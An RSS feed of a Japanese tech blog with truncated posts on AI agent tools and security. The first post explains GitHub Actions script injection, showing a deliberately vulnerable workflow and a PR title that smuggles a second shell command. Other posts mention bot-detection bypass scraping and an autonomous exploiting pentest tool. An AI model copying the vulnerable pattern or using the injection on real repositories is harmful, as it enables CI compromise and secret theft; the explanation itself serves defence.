&lt;p&gt;&lt;a href="https://zenn.dev/kou_pg_0131/articles/gha-script-injection"&gt;【GitHub Actions】スクリプトインジェクションの実践例&lt;/a&gt;（koki 氏）は、GitHub Actions ワークフローにおけるスクリプトインジェクションの仕組みを具体的なコード例で解説した記事です。「プライベートリポジトリなら大丈夫？」という疑問にも明確に「安全ではない」と回答しています。&lt;/p&gt;
&lt;p&gt;2025 年には GhostAction キャンペーンで 3,325 件のシークレットが窃取され、tj-actions/changed-files のサプライチェーン攻撃では 23,000 以上のリポジトリが影響を受けました。スクリプトインジェクションは理論上の脅威ではなく、現在進行形のリスクです。&lt;/p&gt;
&lt;h2 id="スクリプトインジェクションとは何か"&gt;スクリプトインジェクションとは何か&lt;/h2&gt;
&lt;p&gt;GitHub Actions の &lt;code&gt;${{ }}&lt;/code&gt; 式は、&lt;strong&gt;シェルがコマンドを解析する前に&lt;/strong&gt;テンプレートエンジンによって展開されます。この順序が脆弱性の根本原因です。&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;通常の期待:
${{ github.event.pull_request.title }} → 文字列として処理される
実際の動作:
${{ github.event.pull_request.title }} → 値がそのままシェルスクリプトに埋め込まれる
→ シェルがコマンドとして解釈する
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;つまり、PR タイトルやブランチ名など攻撃者が制御可能な値が、そのままシェルコマンドの一部になります。&lt;/p&gt;
&lt;h2 id="攻撃の実践例"&gt;攻撃の実践例&lt;/h2&gt;
&lt;h3 id="攻撃-1-pr-タイトルによるインジェクション"&gt;攻撃 1: PR タイトルによるインジェクション&lt;/h3&gt;
&lt;p&gt;脆弱なワークフロー:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;1
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;2
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;3
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;4
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;5
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;6
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;7
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;8
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-yaml" data-lang="yaml"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;on&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;pull_request&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;jobs&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;example&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;runs-on&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;ubuntu-latest&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;steps&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; - &lt;span style="color:#f92672"&gt;run&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;echo &amp;#34;PR title is ${{ github.event.pull_request.title }}&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;攻撃者が PR タイトルを &lt;code&gt;&amp;quot;; echo INJECTED&amp;quot;&lt;/code&gt; に設定すると:&lt;/p&gt;</description></item><item><title>GitNexus × ゼロサーバーコード知能 --- ナレッジグラフで影響範囲を可視化する新しいコードリーディング</title><link>https://hdknr.github.io/blogs/posts/2026/03/gitnexus-%E3%82%BC%E3%83%AD%E3%82%B5%E3%83%BC%E3%83%90%E3%83%BC%E3%82%B3%E3%83%BC%E3%83%89%E7%9F%A5%E8%83%BD---%E3%83%8A%E3%83%AC%E3%83%83%E3%82%B8%E3%82%B0%E3%83%A9%E3%83%95%E3%81%A7%E5%BD%B1%E9%9F%BF%E7%AF%84%E5%9B%B2%E3%82%92%E5%8F%AF%E8%A6%96%E5%8C%96%E3%81%99%E3%82%8B%E6%96%B0%E3%81%97%E3%81%84%E3%82%B3%E3%83%BC%E3%83%89%E3%83%AA%E3%83%BC%E3%83%87%E3%82%A3%E3%83%B3%E3%82%B0/</link><pubDate>Thu, 05 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/gitnexus-%E3%82%BC%E3%83%AD%E3%82%B5%E3%83%BC%E3%83%90%E3%83%BC%E3%82%B3%E3%83%BC%E3%83%89%E7%9F%A5%E8%83%BD---%E3%83%8A%E3%83%AC%E3%83%83%E3%82%B8%E3%82%B0%E3%83%A9%E3%83%95%E3%81%A7%E5%BD%B1%E9%9F%BF%E7%AF%84%E5%9B%B2%E3%82%92%E5%8F%AF%E8%A6%96%E5%8C%96%E3%81%99%E3%82%8B%E6%96%B0%E3%81%97%E3%81%84%E3%82%B3%E3%83%BC%E3%83%89%E3%83%AA%E3%83%BC%E3%83%87%E3%82%A3%E3%83%B3%E3%82%B0/</guid><description>&lt;h1 id="gitnexus--ゼロサーバーコード知能--ナレッジグラフで影響範囲を可視化する新しいコードリーディング"&gt;GitNexus × ゼロサーバーコード知能 &amp;mdash; ナレッジグラフで「影響範囲」を可視化する新しいコードリーディング&lt;/h1&gt;
&lt;p&gt;&lt;a href="https://x.com/sukh_saroy/status/2028919780758340098"&gt;@sukh_saroy 氏が X で紹介&lt;/a&gt;した、コードベース全体を知識グラフに変換するツールが注目を集めています。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;GitNexus: A zero-server code intelligence engine that transforms your codebase into a navigable knowledge graph.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;a href="https://github.com/abhigyanpatwari/GitNexus"&gt;GitNexus&lt;/a&gt; は、&lt;strong&gt;コードベースをナレッジグラフに変換し、関数の呼び出し関係・継承・インポートの依存を構造的に把握できるコード知能エンジン&lt;/strong&gt;です。サーバー不要で完全にローカル実行でき、Claude Code や Cursor などの AI コーディングツールと MCP（Model Context Protocol）で連携します。&lt;/p&gt;
&lt;p&gt;本記事では、GitNexus の仕組み、従来のコード検索との違い、そして AI エージェント時代に「コードの影響範囲を知る」ことがなぜ重要かを解説します。&lt;/p&gt;
&lt;h2 id="従来のコード検索の限界"&gt;従来のコード検索の限界&lt;/h2&gt;
&lt;h3 id="grepripgrep-では見えないもの"&gt;grep/ripgrep では見えないもの&lt;/h3&gt;
&lt;p&gt;エンジニアがコードベースを理解する方法は、長い間「テキスト検索」が中心でした。&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;従来のコード理解の方法:
grep / ripgrep:
├── 文字列の一致を検索
├── ファイル横断で高速
└── 限界: 「この関数を変更したら何が壊れるか」は分からない
IDE の「参照を検索」:
├── シンボルの参照箇所を表示
├── 型情報を活用
└── 限界: 間接的な依存（A→B→C）は追いきれない
手動でコードを読む:
├── 最も確実だが最も遅い
└── 限界: 大規模コードベースでは現実的でない
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;これらの方法に共通する問題は、&lt;strong&gt;コードの「関係性」が見えない&lt;/strong&gt;ことです。「この関数を呼んでいる場所」は分かっても、「この関数を変更したときの影響が最終的にどこまで波及するか」は分かりません。&lt;/p&gt;
&lt;h3 id="ai-コーディングツールの盲点"&gt;AI コーディングツールの盲点&lt;/h3&gt;
&lt;p&gt;Claude Code や Cursor などの AI コーディングツールは、コードベースを理解する能力が飛躍的に向上しました。しかし、根本的な制約があります。&lt;/p&gt;</description></item><item><title>OpenClaw × Scrapling — AIエージェントが「検出不能なスクレイピング」を手にした日</title><link>https://hdknr.github.io/blogs/posts/2026/03/openclaw-scrapling-ai%E3%82%A8%E3%83%BC%E3%82%B8%E3%82%A7%E3%83%B3%E3%83%88%E3%81%8C%E6%A4%9C%E5%87%BA%E4%B8%8D%E8%83%BD%E3%81%AA%E3%82%B9%E3%82%AF%E3%83%AC%E3%82%A4%E3%83%94%E3%83%B3%E3%82%B0%E3%82%92%E6%89%8B%E3%81%AB%E3%81%97%E3%81%9F%E6%97%A5/</link><pubDate>Thu, 05 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/openclaw-scrapling-ai%E3%82%A8%E3%83%BC%E3%82%B8%E3%82%A7%E3%83%B3%E3%83%88%E3%81%8C%E6%A4%9C%E5%87%BA%E4%B8%8D%E8%83%BD%E3%81%AA%E3%82%B9%E3%82%AF%E3%83%AC%E3%82%A4%E3%83%94%E3%83%B3%E3%82%B0%E3%82%92%E6%89%8B%E3%81%AB%E3%81%97%E3%81%9F%E6%97%A5/</guid><description>&lt;h1 id="openclaw--scrapling--aiエージェントが検出不能なスクレイピングを手にした日"&gt;OpenClaw × Scrapling — AIエージェントが「検出不能なスクレイピング」を手にした日&lt;/h1&gt;
&lt;p&gt;&lt;a href="https://x.com/RoundtableSpace"&gt;RoundtableSpace（@roundtablespace）&lt;/a&gt;が、OpenClaw の新しいスクレイピング能力を紹介するポストを投稿し、大きな反響を集めています。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;OpenClaw can now scrape any website without getting blocked - zero bot detection, bypasses Cloudflare natively, 774x faster than BeautifulSoup. No selector maintenance. No workarounds. Just data. THIS IS AN UNFAIR ADVANTAGE AND IT&amp;rsquo;S FULLY OPEN SOURCE.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;a href="https://x.com/RoundtableSpace/status/2029191380212257159"&gt;https://x.com/RoundtableSpace/status/2029191380212257159&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;5,059 いいね・424 RT・8,120 ブックマークを集めたこのポストが紹介しているのは、OpenClaw と &lt;strong&gt;Scrapling&lt;/strong&gt; というオープンソース Python ライブラリの組み合わせです。AIエージェントが Cloudflare の防御を突破し、検出されずにあらゆるウェブサイトからデータを取得できるという主張は、技術コミュニティで論争を引き起こしています。&lt;/p&gt;
&lt;h2 id="scrapling-とは何か"&gt;Scrapling とは何か&lt;/h2&gt;
&lt;p&gt;Scrapling は、GitHub で 22,400 スターを獲得しているオープンソースの Python スクレイピングフレームワークです。開発者は Karim Shoair（D4Vinci）で、「適応型ウェブスクレイピング」を謳っています。&lt;/p&gt;
&lt;h3 id="3つの-fetcher"&gt;3つの Fetcher&lt;/h3&gt;
&lt;p&gt;Scrapling の中核は、用途別に設計された3つの Fetcher です。&lt;/p&gt;</description></item><item><title>OpenClaw 22,000字解説のファクトチェック --- AIエージェントの民主化煽りと技術的実態の分離</title><link>https://hdknr.github.io/blogs/posts/2026/03/openclaw-22000%E5%AD%97%E8%A7%A3%E8%AA%AC%E3%81%AE%E3%83%95%E3%82%A1%E3%82%AF%E3%83%88%E3%83%81%E3%82%A7%E3%83%83%E3%82%AF---ai%E3%82%A8%E3%83%BC%E3%82%B8%E3%82%A7%E3%83%B3%E3%83%88%E3%81%AE%E6%B0%91%E4%B8%BB%E5%8C%96%E7%85%BD%E3%82%8A%E3%81%A8%E6%8A%80%E8%A1%93%E7%9A%84%E5%AE%9F%E6%85%8B%E3%81%AE%E5%88%86%E9%9B%A2/</link><pubDate>Thu, 05 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/openclaw-22000%E5%AD%97%E8%A7%A3%E8%AA%AC%E3%81%AE%E3%83%95%E3%82%A1%E3%82%AF%E3%83%88%E3%83%81%E3%82%A7%E3%83%83%E3%82%AF---ai%E3%82%A8%E3%83%BC%E3%82%B8%E3%82%A7%E3%83%B3%E3%83%88%E3%81%AE%E6%B0%91%E4%B8%BB%E5%8C%96%E7%85%BD%E3%82%8A%E3%81%A8%E6%8A%80%E8%A1%93%E7%9A%84%E5%AE%9F%E6%85%8B%E3%81%AE%E5%88%86%E9%9B%A2/</guid><description>&lt;h1 id="openclaw-22000字解説のファクトチェック--aiエージェントの民主化煽りと技術的実態の分離"&gt;OpenClaw 22,000字解説のファクトチェック &amp;mdash; 「AIエージェントの民主化」煽りと技術的実態の分離&lt;/h1&gt;
&lt;p&gt;&lt;a href="https://x.com/unikoukokun/status/2029418402398588949"&gt;@unikoukokun 氏が X で投稿&lt;/a&gt;した、OpenClaw に関する約 22,000 字の長文解説が話題になっています。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;OpenClawがなぜ凄いか。ClaudeCodeで充分じゃね？という人向け&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;「AIエージェントの民主化」「1人で1,000人分の生産性」「100席の椅子取りゲーム」&amp;mdash;強烈な表現で OpenClaw の導入を訴える記事です。技術的な情報と煽り的な主張が混在しているため、本記事では&lt;strong&gt;ファクトチェック&lt;/strong&gt;を行い、正確な情報と誇張を分離します。&lt;/p&gt;
&lt;h2 id="元記事の概要"&gt;元記事の概要&lt;/h2&gt;
&lt;p&gt;ユニコ氏の記事は、OpenClaw を以下の観点から解説しています。&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;元記事の主要な主張:
1. OpenClaw は「AIエージェントの民主化」:
ローカル実行の分散型 AI エージェント
Manus（中央集権型）との構造的な違い
2. 3 つの技術的優位性:
外部サービス連携（23+ プラットフォーム）
セッション横断型メモリー（Memory MD）
ブラウザユース（Browser Use）
3. ビジネスへのインパクト:
フリーランスの武器、中小企業の DX ツール
1 人で 1,000 人分の生産性
4. Claude Code との使い分け:
「作る」時は Claude Code、「使う・動かす」時は OpenClaw
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;全体で約 22,000 字、13 セクション以上の大作です。技術解説としての価値がある一方、煽り的な表現も多く含まれています。&lt;/p&gt;
&lt;h2 id="ファクトチェック-7-つの主要な主張を検証"&gt;ファクトチェック: 7 つの主要な主張を検証&lt;/h2&gt;
&lt;h3 id="主張-1-github-スター数-247000-超フォーク数-47700-超"&gt;主張 1: GitHub スター数 247,000 超、フォーク数 47,700 超&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;判定&lt;/th&gt;
&lt;th&gt;概ね正しい（記事時点の数値）&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;記事の数値は 2026 年 2 月下旬時点のものとして妥当です。2026 年 3 月時点では&lt;strong&gt;スター数 263,000 超、フォーク数 50,400 超&lt;/strong&gt;にまで成長しており、React を抜いて GitHub の最もスターの多いソフトウェアプロジェクトとなっています。&lt;/p&gt;</description></item><item><title>OpenFang × Rust製シングルバイナリ「エージェントOS」のHandsアーキテクチャと自律型AI設計</title><link>https://hdknr.github.io/blogs/posts/2026/03/openfang-rust%E8%A3%BD%E3%82%B7%E3%83%B3%E3%82%B0%E3%83%AB%E3%83%90%E3%82%A4%E3%83%8A%E3%83%AA%E3%82%A8%E3%83%BC%E3%82%B8%E3%82%A7%E3%83%B3%E3%83%88os%E3%81%AEhands%E3%82%A2%E3%83%BC%E3%82%AD%E3%83%86%E3%82%AF%E3%83%81%E3%83%A3%E3%81%A8%E8%87%AA%E5%BE%8B%E5%9E%8Bai%E8%A8%AD%E8%A8%88/</link><pubDate>Thu, 05 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/openfang-rust%E8%A3%BD%E3%82%B7%E3%83%B3%E3%82%B0%E3%83%AB%E3%83%90%E3%82%A4%E3%83%8A%E3%83%AA%E3%82%A8%E3%83%BC%E3%82%B8%E3%82%A7%E3%83%B3%E3%83%88os%E3%81%AEhands%E3%82%A2%E3%83%BC%E3%82%AD%E3%83%86%E3%82%AF%E3%83%81%E3%83%A3%E3%81%A8%E8%87%AA%E5%BE%8B%E5%9E%8Bai%E8%A8%AD%E8%A8%88/</guid><description>&lt;h1 id="openfang--rust-製シングルバイナリのエージェント-osが再定義する自律型-ai-の設計"&gt;OpenFang &amp;mdash; Rust 製シングルバイナリの「エージェント OS」が再定義する自律型 AI の設計&lt;/h1&gt;
&lt;p&gt;&lt;a href="https://x.com/mikefutia/status/2029220162818453968"&gt;@mikefutia 氏が X で紹介&lt;/a&gt;した OpenFang v0.3.7 のリリースが注目を集めています。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;OpenFang v0.3.7 is out! here&amp;rsquo;s everything since v0.3.3&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;a href="https://github.com/RightNow-AI/openfang"&gt;OpenFang&lt;/a&gt; は RightNow AI の創設者 Jaber 氏が開発する、&lt;strong&gt;Rust で一から構築されたオープンソースのエージェントオペレーティングシステム&lt;/strong&gt;です。チャットボットフレームワークではなく、自律的にタスクを実行する「エージェント OS」を標榜しています。2026 年 2 月 24 日の公開から 4 日で GitHub スター 4,037 を獲得し、パーソナル AI エージェント領域で最速級の立ち上がりを見せました。&lt;/p&gt;
&lt;p&gt;本記事では、OpenFang のアーキテクチャ、独自の「Hands」機構、Python 製フレームワークとの構造的な違いを技術的に解説します。&lt;/p&gt;
&lt;h2 id="なぜエージェント-osなのか"&gt;なぜ「エージェント OS」なのか&lt;/h2&gt;
&lt;h3 id="チャットボットフレームワークとの違い"&gt;チャットボットフレームワークとの違い&lt;/h3&gt;
&lt;p&gt;LangChain や CrewAI のような既存のエージェントフレームワークは、基本的に&lt;strong&gt;ユーザーのプロンプトを起点&lt;/strong&gt;に動作します。ユーザーが指示を出し、エージェントが実行し、結果を返す。この対話ループが基本構造です。&lt;/p&gt;
&lt;p&gt;OpenFang が「OS」と名乗る理由は、&lt;strong&gt;プロンプトなしで自律的に動作する&lt;/strong&gt;設計にあります。&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;既存フレームワーク:
ユーザー → プロンプト → エージェント → 結果 → ユーザー
（対話ループ）
OpenFang:
スケジュール → エージェント → タスク実行 → 知識グラフ更新
↓
ダッシュボードに報告
（自律ループ、ユーザーの介入は承認ゲートのみ）
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;24 時間 365 日、バックグラウンドでエージェントが動き続ける。リード獲得、競合監視、SNS 投稿、コンテンツ生成を自動で行い、ユーザーはダッシュボードで結果を確認する。これが OpenFang の設計思想です。&lt;/p&gt;</description></item><item><title>Qwen-Agent 公式エージェントフレームワーク完全ガイド — モデル開発チームが作った「全部入り」の設計思想</title><link>https://hdknr.github.io/blogs/posts/2026/03/qwen-agent-%E5%85%AC%E5%BC%8F%E3%82%A8%E3%83%BC%E3%82%B8%E3%82%A7%E3%83%B3%E3%83%88%E3%83%95%E3%83%AC%E3%83%BC%E3%83%A0%E3%83%AF%E3%83%BC%E3%82%AF%E5%AE%8C%E5%85%A8%E3%82%AC%E3%82%A4%E3%83%89-%E3%83%A2%E3%83%87%E3%83%AB%E9%96%8B%E7%99%BA%E3%83%81%E3%83%BC%E3%83%A0%E3%81%8C%E4%BD%9C%E3%81%A3%E3%81%9F%E5%85%A8%E9%83%A8%E5%85%A5%E3%82%8A%E3%81%AE%E8%A8%AD%E8%A8%88%E6%80%9D%E6%83%B3/</link><pubDate>Thu, 05 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/qwen-agent-%E5%85%AC%E5%BC%8F%E3%82%A8%E3%83%BC%E3%82%B8%E3%82%A7%E3%83%B3%E3%83%88%E3%83%95%E3%83%AC%E3%83%BC%E3%83%A0%E3%83%AF%E3%83%BC%E3%82%AF%E5%AE%8C%E5%85%A8%E3%82%AC%E3%82%A4%E3%83%89-%E3%83%A2%E3%83%87%E3%83%AB%E9%96%8B%E7%99%BA%E3%83%81%E3%83%BC%E3%83%A0%E3%81%8C%E4%BD%9C%E3%81%A3%E3%81%9F%E5%85%A8%E9%83%A8%E5%85%A5%E3%82%8A%E3%81%AE%E8%A8%AD%E8%A8%88%E6%80%9D%E6%83%B3/</guid><description>&lt;h1 id="qwen-agent-公式エージェントフレームワーク完全ガイド--モデル開発チームが作った全部入りの設計思想"&gt;Qwen-Agent 公式エージェントフレームワーク完全ガイド — モデル開発チームが作った「全部入り」の設計思想&lt;/h1&gt;
&lt;p&gt;&lt;a href="https://x.com/abxxai/status/2029560600070881577"&gt;@abxxai（Abdul Shakoor）のポスト&lt;/a&gt;が、Qwen チームが公式リリースしたエージェントフレームワーク「Qwen-Agent」を紹介し、10万ビュー超・2,900ブックマーク・2,200いいねと極めて高い反響を集めています。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;BREAKING: The Qwen team just shipped their official agent framework and it has everything.
No stitching together third-party libraries. No fighting abstractions.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;「サードパーティのライブラリをつなぎ合わせる必要がない」「抽象化と戦わなくていい」という評価は、既存のエージェントフレームワーク（LangChain、CrewAI 等）が抱える複雑さへのアンチテーゼです。&lt;/p&gt;
&lt;h2 id="qwen-agent-とは何か"&gt;Qwen-Agent とは何か&lt;/h2&gt;
&lt;p&gt;&lt;a href="https://github.com/QwenLM/Qwen-Agent"&gt;Qwen-Agent&lt;/a&gt; は、Alibaba Cloud の Qwen チームが開発したオープンソースのエージェントフレームワークです。Qwen 3.0 以上のモデルをベースに、Function Calling・MCP・Code Interpreter・RAG・Chrome 拡張を統合した「全部入り」のフレームワークとして設計されています。&lt;/p&gt;
&lt;h3 id="最大の特徴-モデルとフレームワークの共進化"&gt;最大の特徴: モデルとフレームワークの共進化&lt;/h3&gt;
&lt;p&gt;LangChain や CrewAI がモデルに依存しない汎用フレームワークであるのに対し、Qwen-Agent は &lt;strong&gt;Qwen モデルと一体的に開発&lt;/strong&gt;されています。&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;観点&lt;/th&gt;
&lt;th&gt;Qwen-Agent&lt;/th&gt;
&lt;th&gt;LangChain / CrewAI&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;開発元&lt;/td&gt;
&lt;td&gt;Qwen モデル開発チーム&lt;/td&gt;
&lt;td&gt;サードパーティ&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;モデルとの関係&lt;/td&gt;
&lt;td&gt;共進化（同時に開発・最適化）&lt;/td&gt;
&lt;td&gt;モデル非依存&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;ツール呼び出し&lt;/td&gt;
&lt;td&gt;ネイティブ統合（テンプレート・パーサー内蔵）&lt;/td&gt;
&lt;td&gt;アダプタ経由&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;抽象化の層&lt;/td&gt;
&lt;td&gt;薄い（モデルに直接最適化）&lt;/td&gt;
&lt;td&gt;厚い（汎用性のための間接層）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;対応モデル&lt;/td&gt;
&lt;td&gt;Qwen 系が最適、他モデルも利用可&lt;/td&gt;
&lt;td&gt;幅広いモデルに対応&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;Qwen チームは「モデルの開発当初から、ツール使用と深い推論を含む強力なエージェント能力の実現が戦略の柱だった」と述べています。フレームワークはモデルの能力を最大限に引き出すために設計されており、汎用フレームワークでは到達できない最適化が実現されています。&lt;/p&gt;</description></item><item><title>Shannon — 自律型AIペネトレーションテスターが「実証なき報告」を終わらせる</title><link>https://hdknr.github.io/blogs/posts/2026/03/shannon-%E8%87%AA%E5%BE%8B%E5%9E%8Bai%E3%83%9A%E3%83%8D%E3%83%88%E3%83%AC%E3%83%BC%E3%82%B7%E3%83%A7%E3%83%B3%E3%83%86%E3%82%B9%E3%82%BF%E3%83%BC%E3%81%8C%E5%AE%9F%E8%A8%BC%E3%81%AA%E3%81%8D%E5%A0%B1%E5%91%8A%E3%82%92%E7%B5%82%E3%82%8F%E3%82%89%E3%81%9B%E3%82%8B/</link><pubDate>Thu, 05 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/shannon-%E8%87%AA%E5%BE%8B%E5%9E%8Bai%E3%83%9A%E3%83%8D%E3%83%88%E3%83%AC%E3%83%BC%E3%82%B7%E3%83%A7%E3%83%B3%E3%83%86%E3%82%B9%E3%82%BF%E3%83%BC%E3%81%8C%E5%AE%9F%E8%A8%BC%E3%81%AA%E3%81%8D%E5%A0%B1%E5%91%8A%E3%82%92%E7%B5%82%E3%82%8F%E3%82%89%E3%81%9B%E3%82%8B/</guid><description>&lt;h1 id="shannon--自律型-ai-ペネトレーションテスターが実証なき報告を終わらせる"&gt;Shannon — 自律型 AI ペネトレーションテスターが「実証なき報告」を終わらせる&lt;/h1&gt;
&lt;p&gt;&lt;a href="https://x.com/heynavtoor/status/2028719589241307635"&gt;@heynavtoor 氏のポスト&lt;/a&gt;が話題になっています。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Someone just open sourced a fully autonomous AI hacker and it&amp;rsquo;s terrifying. It&amp;rsquo;s called Shannon. Point it at your web app, and it doesn&amp;rsquo;t just scan for vulnerabilities. It actually exploits them.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Shannon は「No Exploit, No Report（実証できなければ報告しない）」を原則とする、完全自律型の AI ペネトレーションテストツールです。従来のスキャナーが「ここが危険かもしれません」と警告を出す場面で、Shannon は実際に攻撃を実行し、成功した場合だけ報告します。XBOW ベンチマークで 96.15% のスコアを記録し、GitHub で 10,000 以上のスターを獲得しています。&lt;/p&gt;
&lt;h2 id="なぜ-shannon-が注目されるのか--年-1-回ペンテストの限界"&gt;なぜ Shannon が注目されるのか — 年 1 回ペンテストの限界&lt;/h2&gt;
&lt;p&gt;現代の開発チームは Claude Code や Cursor を使い、毎日コードを出荷しています。一方、ペネトレーションテストは年 1 回が一般的です。365 日のうち 364 日は「検証なし」で本番にデプロイしている計算になります。&lt;/p&gt;</description></item><item><title>「MCPは死んだ、CLIに栄光あれ」— Playwright CLI が出した結論と、それでもMCPが生き残る理由</title><link>https://hdknr.github.io/blogs/posts/2026/03/mcp%E3%81%AF%E6%AD%BB%E3%82%93%E3%81%A0cli%E3%81%AB%E6%A0%84%E5%85%89%E3%81%82%E3%82%8C-playwright-cli-%E3%81%8C%E5%87%BA%E3%81%97%E3%81%9F%E7%B5%90%E8%AB%96%E3%81%A8%E3%81%9D%E3%82%8C%E3%81%A7%E3%82%82mcp%E3%81%8C%E7%94%9F%E3%81%8D%E6%AE%8B%E3%82%8B%E7%90%86%E7%94%B1/</link><pubDate>Wed, 04 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/mcp%E3%81%AF%E6%AD%BB%E3%82%93%E3%81%A0cli%E3%81%AB%E6%A0%84%E5%85%89%E3%81%82%E3%82%8C-playwright-cli-%E3%81%8C%E5%87%BA%E3%81%97%E3%81%9F%E7%B5%90%E8%AB%96%E3%81%A8%E3%81%9D%E3%82%8C%E3%81%A7%E3%82%82mcp%E3%81%8C%E7%94%9F%E3%81%8D%E6%AE%8B%E3%82%8B%E7%90%86%E7%94%B1/</guid><description>&lt;h1 id="mcpは死んだcliに栄光あれ-playwright-cli-が出した結論とそれでもmcpが生き残る理由"&gt;「MCPは死んだ、CLIに栄光あれ」— Playwright CLI が出した結論と、それでもMCPが生き残る理由&lt;/h1&gt;
